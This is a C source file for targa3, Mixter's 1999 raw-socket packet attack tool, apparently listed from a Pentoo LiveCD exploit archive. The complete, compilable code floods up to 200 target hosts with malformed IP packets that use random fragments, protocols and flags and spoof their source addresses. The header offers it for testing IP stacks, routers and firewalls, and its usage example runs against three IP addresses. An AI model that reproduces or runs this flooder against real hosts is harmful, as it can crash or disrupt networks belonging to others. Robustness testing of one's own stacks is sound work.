home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / targa3.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  6KB  |  250 lines

  1. /*
  2.  * targa3 - 1999 (c) Mixter <mixter@newyorkoffice.com>
  3.  *
  4.  * IP stack penetration tool / 'exploit generator'
  5.  * Sends combinations of uncommon IP packets to hosts
  6.  * to generate attacks using invalid fragmentation, protocol,
  7.  * packet size, header values, options, offsets, tcp segments,
  8.  * routing flags, and other unknown/unexpected packet values.
  9.  * Useful for testing IP stacks, routers, firewalls, NIDS,
  10.  * etc. for stability and reactions to unexpected packets.
  11.  * Some of these packets might not pass through routers with
  12.  * filtering enabled - tests with source and destination host
  13.  * on the same ethernet segment gives best effects.
  14.  * 
  15.  * Example:
  16.  * ./targa3 193.116.54.15 192.88.209.18 134.205.131.22 -c 1000
  17.  * 
  18.  * Linux, *BSD:
  19.  * cc -Wall -O2 -s -o targa3 targa3.c
  20.  * IRIX, HPUX, OSF (untested yet):
  21.  * cc -ldld -o targa3 targa3.c
  22.  * Solaris, SunOS:
  23.  * cc -lnsl -lsocket -o targa3 targa3.c
  24.  *
  25.  */
  26.  
  27. #include <stdio.h>
  28. #include <stdlib.h>
  29. #include <string.h>
  30. #include <unistd.h>
  31. #include <fcntl.h>
  32. #include <time.h>
  33. #include <signal.h>
  34. #include <sys/types.h>
  35. #include <sys/stat.h>
  36. #include <sys/socket.h>
  37.  
  38. u_char rseed[4096];
  39. int rsi, rnd, pid;
  40.  
  41. #if __BYTE_ORDER == __LITTLE_ENDIAN
  42. #ifndef htons
  43. unsigned short int htons (unsigned short int hostshort);
  44. #endif
  45. #define TONS(n) htons(n)
  46. #elif __BYTE_ORDER == __BIG_ENDIAN
  47. #define TONS(n) (n)
  48. #endif
  49.  
  50. struct sa_in
  51.   {
  52.     unsigned short int sin_family, sin_port;
  53.     struct
  54.       {
  55.         unsigned int s_addr;
  56.       }
  57.     sin_addr;
  58.     unsigned char sin_zero[8];
  59.   };
  60.  
  61. struct iph
  62.   {                /* IP header */
  63. #if __BYTE_ORDER == __LITTLE_ENDIAN
  64. #define TONS(n) htons(n)
  65. unsigned char ihl:
  66.     4;
  67. unsigned char version:
  68.     4;
  69. #elif __BYTE_ORDER == __BIG_ENDIAN
  70. #define TONS(n) (n)
  71. unsigned char version:
  72.     4;
  73. unsigned char ihl:
  74.     4;
  75. #endif
  76.     unsigned char tos;
  77.     unsigned short int tot_len;
  78.     unsigned short int id;
  79.     unsigned short int frag_off;
  80.     unsigned char ttl;
  81.     unsigned char protocol;
  82.     unsigned short int check;
  83.     unsigned int saddr;
  84.     unsigned int daddr;
  85.   };
  86.  
  87. unsigned long int inet_addr (const char *cp);
  88.  
  89. unsigned int
  90. realrand (int low, int high)
  91. {
  92.   int evil[2];
  93.   evil[0] = rseed[rsi];
  94.   evil[1] = rseed[rsi + 1];
  95.   rsi += 2;
  96.   if (evil[0] == 0x00)
  97.     evil[0]++;
  98.   if (evil[1] == 0x00)
  99.     evil[1]++;
  100.   srandom (time (0));
  101.   srand (random () << pid % evil[0] >> evil[1]);    /* don't ask :P */
  102.   return ((rand () % (int) (((high) + 1) - (low))) + (low));
  103. }
  104.  
  105. void
  106. sigh (int sig)
  107. {
  108.   puts (" ] \n");
  109.   exit (0);
  110. }
  111.  
  112. int
  113. main (int argc, char **argv)
  114. {
  115.   int s = socket (AF_INET, SOCK_RAW, 255);    /* IPPROTO_RAW */
  116.   int res, psize, loopy, targets = 0, tind, count = -1;
  117.   char *packet, ansi[16];
  118.   struct sa_in sin;
  119.   struct iph *ip;
  120.   u_long target[200];
  121.  
  122.   int proto[14] =
  123.     {                /* known internet protcols */
  124.       0, 1, 2, 4, 6, 8, 12, 17, 22, 41, 58, 255, 0,
  125.     };
  126.   int frags[10] =
  127.     {                /* (un)common fragment values */
  128.       0, 0, 0, 8192, 0x4, 0x6, 16383, 1, 0,
  129.     };
  130.   int flags[7] =
  131.     {                /* (un)common message flags */
  132.       0, 0, 0, 0x4, 0, 0x1,
  133.     };
  134.  
  135.   rnd = open ("/dev/urandom", O_RDONLY);
  136.   read (rnd, rseed, 4095);
  137.   rsi = 0;
  138.  
  139.   snprintf (ansi, 15, "%d;3%dm", realrand (0, 1), realrand (1, 7));
  140.   printf ("\t\t%starga 3.0 by Mixter\n", ansi);
  141.   fflush (stdout);
  142.  
  143.   if (argc < 2)
  144.     {
  145.       fprintf (stderr, "usage: %s <ip1> [ip2] ... [-c count]\n", argv[0]);
  146.       exit (-1);
  147.     }
  148.  
  149.   if (argc > 201)
  150.     {
  151.       fprintf (stderr, "cannot target more than 200 hosts!\n");
  152.       exit (-1);
  153.     }
  154.  
  155.   for (loopy = 1; loopy < argc; loopy++)
  156.     {
  157.       if (strcmp (argv[loopy - 1], "-c") == 0)
  158.         {
  159.           if (atoi (argv[loopy]) > 1)
  160.             count = atoi (argv[loopy]);
  161.           continue;
  162.         }
  163.       if (inet_addr (argv[loopy]) != -1)
  164.         {
  165.           target[targets] = inet_addr (argv[loopy]);
  166.           targets++;
  167.         }
  168.     }
  169.  
  170.   if (!targets)
  171.     {
  172.       fprintf (stderr, "no valid ips found!\n");
  173.       exit (-1);
  174.     }
  175.  
  176.   snprintf (ansi, 15, "%d;3%dm", realrand (0, 1), realrand (1, 7));
  177.   printf ("%s\tTargets:\t%d\n", ansi, targets);
  178.   printf ("\tCount:\t\t");
  179.   if (count == -1)
  180.     puts ("infinite");
  181.   else
  182.     printf ("%d\n", count);
  183.  
  184.   printf ("   [ ");
  185.   fflush(0);
  186.  
  187.   for (res = 0; res < 18; res++)
  188.     signal (res, sigh);
  189.  
  190.   pid = getpid ();
  191.   psize = sizeof (struct iph) + realrand (128, 512);
  192.   packet = calloc (1, psize);
  193.   ip = (struct iph *) packet;
  194.  
  195.   setsockopt (s, 0, 3, "1", sizeof ("1"));    /* IP_HDRINCL: header included */
  196.   sin.sin_family = PF_INET;
  197.   sin.sin_port = TONS (0);
  198.   while (count != 0)
  199.     {
  200.       if (count != -1)
  201.         count--;
  202.       for (loopy = 0; loopy < 0xff;)
  203.         {
  204.           for (tind = 0; tind < targets + 1; tind++)
  205.             {
  206.               sin.sin_addr.s_addr = target[tind];
  207.               if (rsi > 4000)
  208.                 {
  209.                   read (rnd, rseed, 4095);
  210.                   rsi = 0;
  211.                 }
  212.               read (rnd, packet, psize);
  213.               proto[13] = realrand (0, 255);
  214.               frags[9] = realrand (0, 8100);
  215.               flags[6] = realrand (0, 0xf);
  216.               ip->version = 4;
  217.               ip->ihl = 5;
  218.               ip->tos = 0;
  219.               ip->tot_len = TONS (psize);
  220.               ip->id = TONS (realrand (1, 10000));
  221.               ip->ttl = 0x7f;
  222.               ip->protocol = proto[(int) realrand (0, 13)];
  223.               ip->frag_off = TONS (frags[(int) realrand (0, 9)]);
  224.               ip->check = 0;
  225.               ip->saddr = random ();
  226.               ip->daddr = target[tind];
  227.               res = sendto (s,
  228.                             packet,
  229.                             psize,
  230.                             flags[(int) realrand (0, 6)],
  231.                             (struct sockaddr *) &sin,
  232.                             sizeof (struct sockaddr));
  233.               if (res)
  234.                 loopy++;
  235.             }
  236.         }
  237.       snprintf (ansi, 15, "%d;3%dm", realrand (0, 1), realrand (1, 7));
  238.       printf ("%s.", ansi);
  239.       usleep (200);
  240.       fflush (stdout);
  241.     }
  242.  
  243.   free (packet);        /* free willy */
  244.  
  245.   puts (" ]\n");
  246.  
  247.   return 0;
  248. }
  249.  
  250. /*                    www.hack.co.za              [2000]*/